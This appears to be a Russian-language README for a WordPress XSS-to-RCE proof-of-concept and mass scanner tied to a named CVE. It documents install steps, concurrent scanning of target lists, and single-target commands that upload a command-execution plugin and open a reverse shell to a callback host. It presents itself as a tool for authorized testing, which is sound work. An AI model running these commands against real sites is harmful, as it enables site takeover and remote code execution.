
Сканер безопасности WordPress, который определяет версии, обнаруживает отражённый XSS на нескольких целях одновременно и поддерживает аутентифицированный процесс эксплуатации XSS-to-RCE для санкционированного тестирования.
Разработчик: Автор: YogaGymn
Утилита PoC/сканирования для авторизованных тестов безопасности WordPress. Проект содержит поток эксплойта для одиночной цели и конкурентный режим только сканирование для множества целей.
Важно: Используйте этот проект только на установках WordPress, которыми вы владеете или для которых у вас есть явное разрешение на тестирование. Мульти-целевой сканер намеренно ограничен определением версии и обнаружением отражения XSS; он не выполняет захват учётных данных, загрузку плагина или RCE против списка целей.
Оригинальный скрипт поддерживает:
auto, xss и direct.Добавленный сканер поддерживает:
ThreadPoolExecutor.Мульти-целевой режим не вызывает оригинальные функции RCE.
requestsУстановите зависимость:
python3 -m pip install requests
Если ваш дистрибутив Linux использует внешне управляемое окружение Python, воспользуйтесь виртуальным окружением:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Клонируйте или скопируйте проект: оригинал эксплойта yogaGymn
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Или просто поместите:
xss2shell.py
в ваш рабочий каталог.
Создайте файл с именем targets.txt OU alvos.txt:
https://example1.test
https://example2.test
https://example3.test
Комментарии и пустые строки игнорируются:
# Alvos de laboratório autorizado
https://example1.test
https://example2.test
Запустите сканер:
python3 xss2shell.py -i targets.txt
По умолчанию используется 10 workers.
Например, используйте 20 workers:
python3 xss2shell.py -i targets.txt --workers 20
Для небольшой лаборатории:
python3 xss2shell.py -i targets.txt --workers 5
Не выбирайте без необходимости высокое число workers, так как это может увеличить нагрузку на соединения и вызвать ограничения частоты запросов или срабатывание защитных механизмов.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
По умолчанию scan_results.txt использует поля, разделённые табуляцией:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Пример:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Статус Значение
XSS_REFLECTION_DETECTED Сканер обнаружил проверяемое
поведение отражения HTML. Это
само по себе не является
доказательством RCE.
XSS_NOT_DETECTED Проверяемое отражение не было
обнаружено.
ERROR При проверке возникло исключение.Сканер может сообщать такие детали, как:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDЭти значения описывают ответ, наблюдаемый процедурой обнаружения; их следует проверять вручную, прежде чем считать результат подтверждённой уязвимостью.
Оригинальный скрипт также поддерживает аргументы для одиночной цели.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Потоки XSS/прямого режима могут создавать или активировать плагин, содержащий функциональность выполнения команд. Используйте их только в авторизованной тестовой среде.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Аргумент Описание
target URL одиночной цели.
-i, --input Файл, содержащий несколько целей.
--output Выходной файл для результатов
мульти-целевого сканирования.
По умолчанию: scan_results.txt.
--workers Количество конкурентных workers.
По умолчанию: 10.
--mode Оригинальный режим одиночной цели:
auto, xss или direct.
-u, --username Имя пользователя WordPress для
оригинального прямого/запасного
рабочего процесса.
-p, --password Пароль WordPress для оригинального
прямого/запасного рабочего процесса.
--lhost Хост обратного вызова/reverse-shell
для оригинального PoC.
--lport Порт reverse-shell. По умолчанию:
4444.
--slug Слаг плагина. По умолчанию:
xss2shell.
--callback-port Порт сервера обратного вызова.
По умолчанию: 9090.
--no-rev Пропустить запуск reverse-shell в
оригинальном рабочем процессе.Мульти-целевой режим использует следующую возможность Python:
ThreadPoolExecutor
Каждая цель отправляется как независимая задача сканирования:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
Результаты собираются по мере завершения задач, а итоговый вывод формируется в соответствии с исходным порядком целей.
Мульти-целевой режим предназначен для авторизованных оценок безопасности и лабораторных сред.
Рекомендуемый рабочий процесс:
targets.txt только авторизованные домены/IP-адреса.Не используйте сканер против систем третьих лиц без разрешения.
Сканер не является полноценным инструментом оценки уязвимостей.
В частности:
unknown (неизвестно) не означает, что цель уязвима..
├── xss2shell.py
├── targets.txt
└── scan_results.txt
В предоставленном исходном коде не было информации о лицензии.
Если этот проект будет опубликован публично, добавьте явный файл лицензии, например LICENSE. Этот код является дальнейшим развитием оригинального кода ZSecurity.